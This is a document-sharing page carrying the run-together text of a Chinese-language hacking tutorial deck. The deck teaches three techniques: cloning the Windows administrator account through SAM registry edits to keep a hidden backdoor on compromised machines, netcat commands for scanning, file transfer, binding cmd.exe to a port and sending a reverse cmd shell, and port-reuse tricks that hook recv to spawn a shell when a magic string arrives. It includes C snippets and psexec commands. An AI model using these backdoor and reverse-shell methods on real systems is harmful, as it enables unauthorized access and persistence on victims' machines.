网络安全学习_第1页
网络安全学习_第2页
网络安全学习_第3页
网络安全学习_第4页
网络安全学习_第5页
已阅读5页,还剩40页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

网络安全学习克隆用户nc的使用端口复用

zhouzhen[est]克隆用户克隆意义克隆原理克隆方法常用工具编程实现克隆意义实现用户权限的隐藏给自己留一个好的后门保住肉鸡克隆原理参考:克隆管理员帐号的方法/articles/200309/608.htmlWindows2000和WindowsNT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆Administratorsid0x1f4Guestsid0x1f5SAM键的权限默认情况下SAM键的权限修改SAM键的方法HKEY_LOCAL_MACHINE\SAMAdministrators完全控制System完全控制HKEY_LOCAL_MACHINE\SAM\SAMAdministrators没有权限System完全控制修改SAM键的方法使用regedt32修改权限(windows2000)以system的权限运行regeditRegedt32系统自带以system权限运行应用程序

a利用at来启动

b使用工具psu.exec其他方法具体操作regedit/e1f4.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4regedit/e1f5.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5将1f4.reg的000001f4改为000001f5,并把1f5.reg的v部分替换1f4.reg的v部分,导入修改后的1f4.reg编程实现权限问题的解决注册表操作解决权限//获取SAM主键的DACL

GetNamedSecurityInfo(SamName,SE_REGISTRY_KEY,DACL_SECURITY_INFORMATION,NULL,NULL,&pOldDacl,NULL,&pSD);/*创建一个ACE,允许Everyone完全控制对象,并允许子对象继承此权限*/

BuildExplicitAccessWithName(&ea,_T("Everyone"),KEY_ALL_ACCESS,SET_ACCESS,SUB_CONTAINERS_AND_OBJECTS_INHERIT);//将新的ACE加入DACL

SetEntriesInAcl(1,&ea,pOldDacl,&pNewDacl);//更新SAM主键的DACL

SetNamedSecurityInfo(SamName,SE_REGISTRY_KEY,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);

注册表操作RegOpenKeyExRegQueryValueExRegSetValueExClone.exe

配合psexec远程克隆Psexec

\\xx.xx.xx.xx-uadministrator-p“”–cclone.exeNc的使用Nc

简介Nc的使用实战Nc

简介

/\_/\/00\====v====瑞士军刀(SwissArmyknife)

\W/||_/___\///\\|(((-----)))-'/(___ \__.=|___E /Nc的使用端口的刺探:nc-vvipportNc的使用监听本地端口nc-vv-l-pportNc的使用正向连接nc-vvipportNc的使用端口扫描nc-vv-w5ipport-portportnc-vv-zipport-portportNc的使用文件传输

LOCAL:nc-v-nipport<x:\svr.exeREMOTE:nc-v-l-pport>y:\svr.exeNc的高级用法绑定cmd.exe

到指定端口nc-l-pport-ecmd.exeNc的高级用法Nc反向连接获得cmdshellnc-t-ecmd.exe

ipportNc的高级用法简单判断远程主机是否开放防火墙nc-vv-l-pportNc的高级用法Nc配合管道使用nc-vvipport<data.txtnc-vvip80<data.txtNc的高级用法端口复用nc-vv-l-p80-ecmd.exeNc的高级用法端口数据抓包nc-vv-w2-otest.txt8021-15实战动网论坛前台提权漏洞端口复用意义和优势常见的socket程序的安全隐患实现方法编程实现意义和优势突破防火墙的端口访问限制可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探对一些的特殊应用,可以发起中间人攻击安全隐患socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

saddr.sin_family=AF_INET;

saddr.sin_addr.s_addr=htonl(INADDR_ANY);

bind(s,(SOCKADDR*)&saddr,sizeof(saddr));解决办法int

setsockopt(

SOCKET

s,int

level,int

optname,constchar*

optval,int

optlen);

setsockopt(s,SOL_SOCKET,SO_EXCLUSIVEADDRUSE,(char*)&val,sizeof(val));实现方法getpeername查找socket字串匹配查找socketHook系统的recv调用getpeername查找socket

客户端在发送攻击串之前用getsockname函数获得套接字本地信息服务端从1开始递增查找socket,并且用getpeername函数获得套接字远程信息。

如果两个信息相符就认为找到socket,跳出递增循环int

getsockname(

SOCKET

s,struct

sockaddr*

name,int*

namelen);

int

getpeername(

SOCKET

s,struct

sockaddr*

name,int*

namelen);

Getpeername方法的局限性有很大局限性,如果客户端在NAT网络环境里,客户端getsockname取得的套接字信息和服务端getpeername取得的套接字信息不一定相符,导致查找socket失败。字串匹配查找socket

客户端在发送完攻击数据包后,再发送几个字节的字符串,在服务端的对一个递增的socket值接收相应字节的字符串,然后匹配是否是当前连接的socket。这种方法避免了getpeername在NAT网络环境里的限制。多线程环境下容易处理到处于accept下的socket,一般的网络函数都会进入等待状态,直到有连接建立。flier提到WaitForSingleObjectEx处理这种处于accept的socket会返回WAIT_TIMEOUT,可用的句柄返回WAIT_OBJECT_0查找流程

while(1){i++;ret=WaitForSingleObjectEx(i,10,1);if(ret!=0)continue;ret=ioctlsocket(i,FIONREAD,&ul);if(ul!=4)continue;

recv(i,buff,4,0);if(*(DWORD*)buff=='Xc0n')…}Hook系统的recv调用

用VirtualProtect设置真实recv函数地址开始的5个字节可写。把真实recv开始的指令改为跳转到新recv函数。在新的recv函数里先把这5个字节指令改回去。调用真实recv来执行系统本来的操作。把真实recv函数地址开始的5个字节改为跳转新recv的指令。

比较接收的数据是否是约定字串,如果是就绑定一个cmd.exe,否则跳到压栈的返回地址,继续系统原来的流程编程实现

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论